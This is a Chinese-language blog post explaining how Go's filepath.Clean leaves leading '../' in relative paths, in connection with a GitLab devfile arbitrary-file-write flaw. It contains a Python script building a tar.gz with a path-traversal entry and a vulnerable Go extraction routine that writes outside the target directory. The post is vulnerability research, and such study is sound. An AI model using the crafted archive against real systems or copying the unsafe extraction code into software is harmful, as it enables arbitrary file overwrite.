golang filepath.Clean目录遍历的代码特性

前言:分析gitlab的devfile任意文件写入漏洞中看到的,这边进行记录该filepath.Clean函数的特性

参考文章:https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115

filepath.Clean

运行下面的代码,存在目录遍历的情况下,绝对路径和相对路径的不同处理,如下图所示

path_test.go

package main

import (
	"fmt"
	"path/filepath"
	"testing"
)

func TestDemo1(*testing.T) {
	a := filepath.Clean("../../../../tmp/a/b/c/d/e")
	fmt.Println(a)

	b := filepath.Clean("/../../../../tmp/a/b/c/d/e")
	fmt.Println(b)

}
  • 当filepath.Clean处理绝对路径的时候,存在目录遍历的路径进行归一化处理

  • 当filepath.Clean处理相对路径的时候,存在目录遍历的路径不会进行归一化处理

案例

参考文章:https://github.com/devfile/registry-support/blob/47b3ffaeadba7babb7075e0576584cfaa3f64341/registry-library/library/util.go#L115

由于filepath.Clean在对绝对路径和相对路径处理目录遍历的情况不同,这边如果碰到在解压情景下就会出现问题。比如解压目的变量通过filepath.Clean处理,但是该变量字符串如果通过相对路径进行指定路径解压的话,那么就会绕过filepath.Clean的归一化处理,并且进行目录遍历将其目的文件解压到任意的目录。

这边通过python来生成tar压缩包来进行测试,这边的话mock一个存在目录遍历的文件名称../../../../../../tmp/poc.demo,如下图所示

generate_tar.py

import tarfile
import io

# 创建一个BytesIO对象来代表1.txt的内容
file_content = io.BytesIO(b"123456")

# 文件名和内容
file_name = "../../../../../../tmp/poc.demo"

# 目标.tar.gz文件名
tar_name = "example.tar.gz"

with tarfile.open(tar_name, "w:gz") as tar:
    # 创建一个TarInfo对象,它包含了添加到tar文件中的文件信息
    info = tarfile.TarInfo(name=file_name)
    info.size = len(file_content.getvalue())

    # 把"file_content"作为一个文件添加到tar文件里
    file_content.seek(0)  # 移动到流的开始位置
    tar.addfile(tarinfo=info, fileobj=file_content)

print(f"{tar_name} has been created successfully.")

这边的话就通过main.go来进行模拟解压测试,可以看到通过相对路径的方式成功的目录跳跃到/tmp/路径中,如下图所示

main.go

package main

import (
	"archive/tar"
	"compress/gzip"
	"fmt"
	"io"
	"log"
	"os"
	"path"
	"path/filepath"
)

const (
	// Supported Devfile media types
	DevfileMediaType        = "application/vnd.devfileio.devfile.layer.v1"
	DevfileVSXMediaType     = "application/vnd.devfileio.vsx.layer.v1.tar"
	DevfileSVGLogoMediaType = "image/svg+xml"
	DevfilePNGLogoMediaType = "image/png"
	DevfileArchiveMediaType = "application/x-tar"

	OwnersFile = "OWNERS"
)

var (
	DevfileMediaTypeList     = []string{DevfileMediaType}
	DevfileAllMediaTypesList = []string{DevfileMediaType, DevfilePNGLogoMediaType, DevfileSVGLogoMediaType, DevfileVSXMediaType, DevfileArchiveMediaType}
	ExcludedFiles            = []string{OwnersFile}
)

func isExcluded(name string, excludeFiles []string) bool {
	basename := filepath.Base(name)
	for _, excludeFile := range excludeFiles {
		if basename == excludeFile {
			return true
		}
	}
	return false
}

// decompress extracts the archive file
func decompress(targetDir string, tarFile string, excludeFiles []string) error {
	var returnedErr error

	reader, err := os.Open(filepath.Clean(tarFile))
	if err != nil {
		return err
	}

	gzReader, err := gzip.NewReader(reader)
	if err != nil {
		return returnedErr
	}

	tarReader := tar.NewReader(gzReader)
	for {
		header, err := tarReader.Next()
		if err == io.EOF {
			break
		} else if err != nil {
			return returnedErr
		}

		if isExcluded(header.Name, excludeFiles) {
			continue
		}

		target := path.Join(targetDir, filepath.Clean(header.Name))
		switch header.Typeflag {
		case tar.TypeDir:
			err = os.MkdirAll(target, os.FileMode(header.Mode))
			if err != nil {
				return returnedErr
			}
		case tar.TypeReg:
			/* #nosec G304 -- target is produced using path.Join which cleans the dir path */
			w, err := os.OpenFile(target, os.O_CREATE|os.O_RDWR, os.FileMode(header.Mode))
			if err != nil {
				return returnedErr
			}
			/* #nosec G110 -- starter projects are vetted before they are added to a registry.  Their contents can be seen before they are downloaded */
			_, err = io.Copy(w, tarReader)
			if err != nil {
				return returnedErr
			}
			err = w.Close()
			if err != nil {
				return returnedErr
			}
		default:
			log.Printf("Unsupported type: %v", header.Typeflag)
		}
	}

	return nil
}

// main
// @Description: 测试
func main() {
	targetDir := "/Users/xxxx/study-something/golang/filepathClean/tarGzDir"
	tarFile := "example.tar.gz"
	demo1 := decompress(targetDir, tarFile, ExcludedFiles)
}

posted @ 2024-05-09 15:31  zpchcbd  阅读(291)  评论(0)    收藏  举报